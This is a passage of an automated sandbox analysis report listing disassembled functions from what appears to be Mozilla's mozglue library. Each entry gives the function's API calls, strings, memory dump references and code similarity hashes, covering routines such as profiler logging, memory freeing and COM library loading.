API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: dd53e9b920f774f32198df998d7455f2263c05ca848532d869304b1d8f5db017
Instruction ID: d42602e30bda3a7bdce8724793d27791a72aa7caba5f7224c65e7de66f9702ee
Opcode Fuzzy Hash: dd53e9b920f774f32198df998d7455f2263c05ca848532d869304b1d8f5db017
Instruction Fuzzy Hash: 4921BF76600B20DFD7209F25C880B9AB7B9FF45729F16C469D95AA7B10C731F885CB90

Function 6CA084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA085AC

Part of subcall function 6CA07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA0767F
Part of subcall function 6CA07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA07693
Part of subcall function 6CA07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA085B2

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c2482d674c163a6a5f4e50b9f488ec83034e86af9e80f4e2164985716faaedf6
Instruction ID: 6b240a3577e1bb051d99285c187dbf8de5ba5a16572874d2820a8dd00a9adf7d
Opcode Fuzzy Hash: c2482d674c163a6a5f4e50b9f488ec83034e86af9e80f4e2164985716faaedf6
Instruction Fuzzy Hash: 4F219F743007019FDB18DB24D888A5AB7B5AF9434DF18882DE55BC3B41EB32F989CB55

Function 6C9D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C9D1699
VerSetConditionMask.NTDLL ref: 6C9D16CB
VerSetConditionMask.NTDLL ref: 6C9D16D7
VerSetConditionMask.NTDLL ref: 6C9D16DE
VerSetConditionMask.NTDLL ref: 6C9D16E5
VerSetConditionMask.NTDLL ref: 6C9D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9D16F9

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 22dba65b9004483ee83e7ded6cdf0796572b8d8678aaabb8eb3e098a23d70924
Instruction ID: 982e8266762d3d878b7b123b361abb7b4a73e52dd8acbd3449e63a0d231ad092
Opcode Fuzzy Hash: 22dba65b9004483ee83e7ded6cdf0796572b8d8678aaabb8eb3e098a23d70924
Instruction Fuzzy Hash: F721F3B07403086BEB146A688C49FBBB27CDB86718F41C528F6059B5C0C675ED54C6A1

Function 6CA0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA0F598), ref: 6CA0F621

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

GetCurrentThreadId.KERNEL32 ref: 6CA0F637
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000,?,6CA0F598), ref: 6CA0F645
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000,?,6CA0F598), ref: 6CA0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA0F62A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 005c34cf962beb2845dd0c33be9c5c64f32aec4ab777bb0e4188151e66eb19de
Instruction ID: 3444b57c56f2c7db56be6e4161a166e7b6515edde7f00835402a6dd98ffc9e48
Opcode Fuzzy Hash: 005c34cf962beb2845dd0c33be9c5c64f32aec4ab777bb0e4188151e66eb19de
Instruction Fuzzy Hash: 5711E675301701AFC608AF18E9449D57779FB8639CF108019E90583F01CB32A856CBA4

Function 6C9D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C9D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C9D1FFD
__Init_thread_footer.LIBCMT ref: 6C9D2011
FreeLibrary.KERNEL32 ref: 6C9D2059

Strings

combase.dll, xrefs: 6C9D1FD9
CoCreateInstance, xrefs: 6C9D1FF7

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 735b3f0237382f07f712ba24a9cae9fc7cd859ddac64169f539feef6fa327ee5
Instruction ID: d9513bf0beef8db87c0ea47aaa49873f4f62642d08d6d6e51a994fa41452d43e
Opcode Fuzzy Hash: 735b3f0237382f07f712ba24a9cae9fc7cd859ddac64169f539feef6fa327ee5
Instruction Fuzzy Hash: 69117F75240706EFDF18EF55CC49E5A3B79FB8635DF20C129E91592640C732E852CB62

Function 6C9D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C9FD9F0,00000000), ref: 6C9D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C9D0F3C
__Init_thread_footer.LIBCMT ref: 6C9D0F50
FreeLibrary.KERNEL32(?,6C9FD9F0,00000000), ref: 6C9D0F86

Strings

combase.dll, xrefs: 6C9D0F18
CoInitializeEx, xrefs: 6C9D0F36

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 89b97c2aee8db4083d5b5550522e8d7f5998ef41899cdd3566bef61f227c4693
Instruction ID: 9531b77842ae1d9978b00994e08b3dc0f6f620b533036e512df99685ff85c366
Opcode Fuzzy Hash: 89b97c2aee8db4083d5b5550522e8d7f5998ef41899cdd3566bef61f227c4693
Instruction Fuzzy Hash: FA11A3746057429BDF08EF59CD08E4A3778FB8A32AF12E21DE90592640D732E413CE63

Function 6CA0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0F561

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

GetCurrentThreadId.KERNEL32 ref: 6CA0F577
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0F585
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CA0F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CA0F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CA0F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA0F56A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e1e1715add036682ee3cf1c51070340791f36e3d1d447d61ad14cd095cd820b3
Instruction ID: 5c8b367a86169e7b48e1f9bf0cc48b3ce5ada2179ee0af7ae1f5a825be55ba59
Opcode Fuzzy Hash: e1e1715add036682ee3cf1c51070340791f36e3d1d447d61ad14cd095cd820b3
Instruction Fuzzy Hash: 4AF0B4753007019FDA047B65BC48E9E777CEB862ADF10C119EA0583701DF3398468764

Function 6CA0F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA0F598), ref: 6CA0F621

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

GetCurrentThreadId.KERNEL32 ref: 6CA0F637
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000,?,6CA0F598), ref: 6CA0F645
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000,?,6CA0F598), ref: 6CA0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA0F62A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ca2a9ab7811a765a3913905029a35d6a36c1da56bd2b954c1d888ceaf7c71583
Instruction ID: 08c35cd23fd04cb4f88eb71214bb5f3a365ddcffee820bc91d4bf0de678c40b6
Opcode Fuzzy Hash: ca2a9ab7811a765a3913905029a35d6a36c1da56bd2b954c1d888ceaf7c71583
Instruction Fuzzy Hash: 39F0BEB5300701AFDA047B69BC48E9E7B7DEBC62ADF10C129EA0683701CB3748468774

Function 6C9D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C9D0DF8), ref: 6C9D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C9D0EA1
__Init_thread_footer.LIBCMT ref: 6C9D0EB5
FreeLibrary.KERNEL32 ref: 6C9D0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C9D0E9B
kernel32.dll, xrefs: 6C9D0E7D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b80025da20a3efbfd6b733fc0b54f73ae4ff0d52214b1782dfb5dee86dea1f57
Instruction ID: 29ac2863531654ec4d741133c08ad7cfa8626053ad0c75ec7f172ec31c730c80
Opcode Fuzzy Hash: b80025da20a3efbfd6b733fc0b54f73ae4ff0d52214b1782dfb5dee86dea1f57
Instruction Fuzzy Hash: 78012874700B83CBDB08AFE8DC14A4A73B5F74631EF11F929991192F40DB7AF4468A21

Function 6CA005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C9FCFAE,?,?,?,6C9C31A7), ref: 6CA005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C9FCFAE,?,?,?,6C9C31A7), ref: 6CA00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9C31A7), ref: 6CA0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9C31A7), ref: 6CA00627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA0061B, 6CA00625
<jemalloc>, xrefs: 6CA005FA, 6CA0060F

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: bb33737c8247910c6fb05d1bf2d0a8e867cb918e245eb36c747ad962fca27f3b
Instruction ID: 3ff0e6452a32943c5c7757a4c433223a1ed2ec03edf0ea842ccf165cc51588f8
Opcode Fuzzy Hash: bb33737c8247910c6fb05d1bf2d0a8e867cb918e245eb36c747ad962fca27f3b
Instruction Fuzzy Hash: F5E08CE2A0212037F614225ABC86DBBB61CDBC6138F080239FD0D86301E94AAD1E51F6

Function 6C9D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322815213eba7a33aceb96782d70348ccff33478b9cfd8017c042f4d41c85237
Instruction ID: 60742c33aa4bfb78265aa3b6a1f1b8a193c1c3e1f6e942eca569c65cfbd17165
Opcode Fuzzy Hash: 322815213eba7a33aceb96782d70348ccff33478b9cfd8017c042f4d41c85237
Instruction Fuzzy Hash: 68A15970A00B058FDB14CF29C984A9AFBF5BF48304F45966ED44AABB00E731B985CF90

Function 6CA214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA214E2
GetCurrentThreadId.KERNEL32 ref: 6CA21546
InitializeConditionVariable.KERNEL32(?), ref: 6CA215BA
free.MOZGLUE(?), ref: 6CA216B4

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8e664dd712a5f09b86bd171e8e536737cdeef445637846780cf9580e293eab74
Instruction ID: a4c9f202ee34fcd151ed544dfa6995faaca719289424561d1071d0c9f40883b2
Opcode Fuzzy Hash: 8e664dd712a5f09b86bd171e8e536737cdeef445637846780cf9580e293eab74
Instruction Fuzzy Hash: BB61F471A007549BDB11DF24C880BEE77B1BF89308F48851CED8A57701DB36E98ACB91

Function 6CA19F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA19FDB
free.MOZGLUE(?,?), ref: 6CA19FF0
free.MOZGLUE(?,?), ref: 6CA1A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA1A0BE
free.MOZGLUE(?,?), ref: 6CA1A0D5
free.MOZGLUE(?,?), ref: 6CA1A0EB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: bb810a101b920797e58e0ecb94038473e5d1365a6c57b11229652de0d461d73a
Instruction ID: 5bf5e94ec196bcc19ebffc937d0ab267277eca365fefdf079cfd8633d1268f66
Opcode Fuzzy Hash: bb810a101b920797e58e0ecb94038473e5d1365a6c57b11229652de0d461d73a
Instruction Fuzzy Hash: DC6161755097419FC712CF18C48056AB3F5FFA8328F54865DE8999BB02E732E98ACBC1

Function 6CA1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA1D38A,?), ref: 6CA1DC6F
free.MOZGLUE(?,?,?,?,?,6CA1D38A,?), ref: 6CA1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA1D38A,?), ref: 6CA1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA1D38A,?), ref: 6CA1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA1D38A,?), ref: 6CA1DD4A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 4fba6848b9122ece4bc0cd9d8035838d2fdcbebbed371770d9bebed6351644f7
Instruction ID: df0f82a49dfbdcb1c5691ca4bd19338dfec5b427d484ef5e3946fb275886f55d
Opcode Fuzzy Hash: 4fba6848b9122ece4bc0cd9d8035838d2fdcbebbed371770d9bebed6351644f7
Instruction Fuzzy Hash: EA417AB5A00605DFCB01CFA9C88099AB7F5FF88318B554569D945ABB10D731FC44CB90

Function 6CA06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C9FFA80: GetCurrentThreadId.KERNEL32 ref: 6C9FFA8D
Part of subcall function 6C9FFA80: AcquireSRWLockExclusive.KERNEL32(6CA4F448), ref: 6C9FFA99

